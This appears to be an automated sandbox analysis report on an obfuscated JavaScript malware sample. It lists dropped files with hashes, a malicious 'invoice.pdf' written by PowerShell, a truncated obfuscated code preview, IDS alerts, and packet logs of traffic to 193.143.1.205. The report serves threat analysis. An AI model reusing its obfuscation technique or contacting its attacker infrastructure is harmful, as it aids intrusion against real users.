Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1c3334e3-e4f9-4368-9580-5aab992e64f0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6c64c5df-f6b6-4068-a4be-90a03892a343.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rreYIGNPpOWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TreZGOWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CCB47CBEB630D68664E7662B95711432
SHA1:	D01521A0DEBE32C821CA1FC021F6C4ABACB1849C
SHA-256:	E6640071685E82B40A40E86A3246419FCC5162981EC5C9528BAABD1926927D2E
SHA-512:	B917B21DD123C5741E83A16E0160014D325E9844AE3A8ACAC2753818960EA01081E66F83F1C4FC72C8207E6BA5A219AF05A3A99F91B45C91C1456BCE93BA2C7F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b880d6a2-914c-4746-93bd-03c651e0c76c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d5f97707-0b53-4573-9bba-370150840aef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14949), with CRLF line terminators
Entropy (8bit):	4.914140236529975
TrID:
File name:	1882131031120212290.js
File size:	18'477 bytes
MD5:	7928beed95b34ecb13e4aba4f96ee75f
SHA1:	a61b80f9ab90e421174729321615a80dfd39c1a6
SHA256:	20935e4abd67df71df65cede34d42e5c64fd366be5691c22220d6b875c25d57d
SHA512:	d470943be6dfd4baf6d8a88cebbae94141ff4a6dc58805765d7e590bfb9e215aead66a8046c23ddee65b68f78e13db902dcdfef93dfb4db5af9d59ccd05bd054
SSDEEP:	192:yCaMipy8VrhgFRNjzxZvk87FYwM05N8UmXXbtTAUHpMHnWU:d2gDNjVZvkgFYwBaptTAUHpMHnWU
TLSH:	848243E51E0443CB56FD01E8535B156B70A532CEC215413FA4863CEAAAC2A74E3FB33A
File Content Preview:	function ewwvwf(){qwnejp=[1031,3079,5127,4103,2055,3072];var fbpyt=this[uzucpug+gvndnefz+jtdpu+xwhqt+jhkqxllnq+cdoqmunhh+yhrmtvxbj+hurmftuyy](this[dquaxhan+hgridcdwr+rhoxjq+jtdpu+htavceon+uzucpug+hurmftuyy][spscpa+jtdpu+jhkqxllnq+gvndnefz+hurmftuyy+jhkqxl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:17:55.371922+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-10T20:17:58.895741+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49717	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:17:54.538023949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:54.542825937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:54.543072939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:54.545944929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:54.550693989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371752977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371778965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371789932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371799946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371807098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371810913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371818066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371824026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371834040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371840000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.371922016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.371922016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.376740932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.426712990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.426732063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.426740885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.426883936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.496917009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.496929884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.496941090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.496989012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.497204065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497222900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497242928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.497366905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497379065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497389078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497423887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.497586966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.497747898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497759104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497770071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497777939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.497797966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.497868061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.498306036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498316050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498327017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498353958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.498840094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498852015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498864889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498873949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.498873949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498886108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.498913050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.499042034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.499705076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.499722958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.499769926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.517234087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.517246008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.517256975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.517307043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.567539930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.600295067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.600328922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.600341082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.600369930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.622524977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.622535944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.622597933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.622610092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.622616053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.622622013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.622632027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623008013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623018026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623028994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623045921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.623045921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.623334885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623351097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623362064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623372078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623383045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623408079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.623408079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.623859882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623876095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623887062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623895884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623903990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.623907089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.623963118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.623963118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.624401093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624411106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624422073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624447107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624456882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624466896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624478102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624510050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.624511003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.624511003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.624563932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.624563932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.625461102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625471115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625483036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625492096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625503063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625513077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625524044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625534058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.625586987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.625586987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.626374006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626393080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626404047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626466036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626468897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.626476049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626487017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626497984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626508951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.626558065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.626558065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.627428055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.627445936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.627516031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.662293911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.701334953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725641012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725656033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725667953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725681067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725691080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725703001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.725759029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.725869894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748445034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748460054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748476982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748488903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748498917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748511076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748519897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748619080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748620033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748644114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748697042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748714924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748740911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748742104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748801947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748807907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748812914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748823881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748832941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748851061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748858929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748879910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748887062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748887062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748891115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748902082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.748919964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.748961926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749006987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749006987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749013901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749056101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749094009 CET	49710	80	192.168.2.6	193.143.1.205
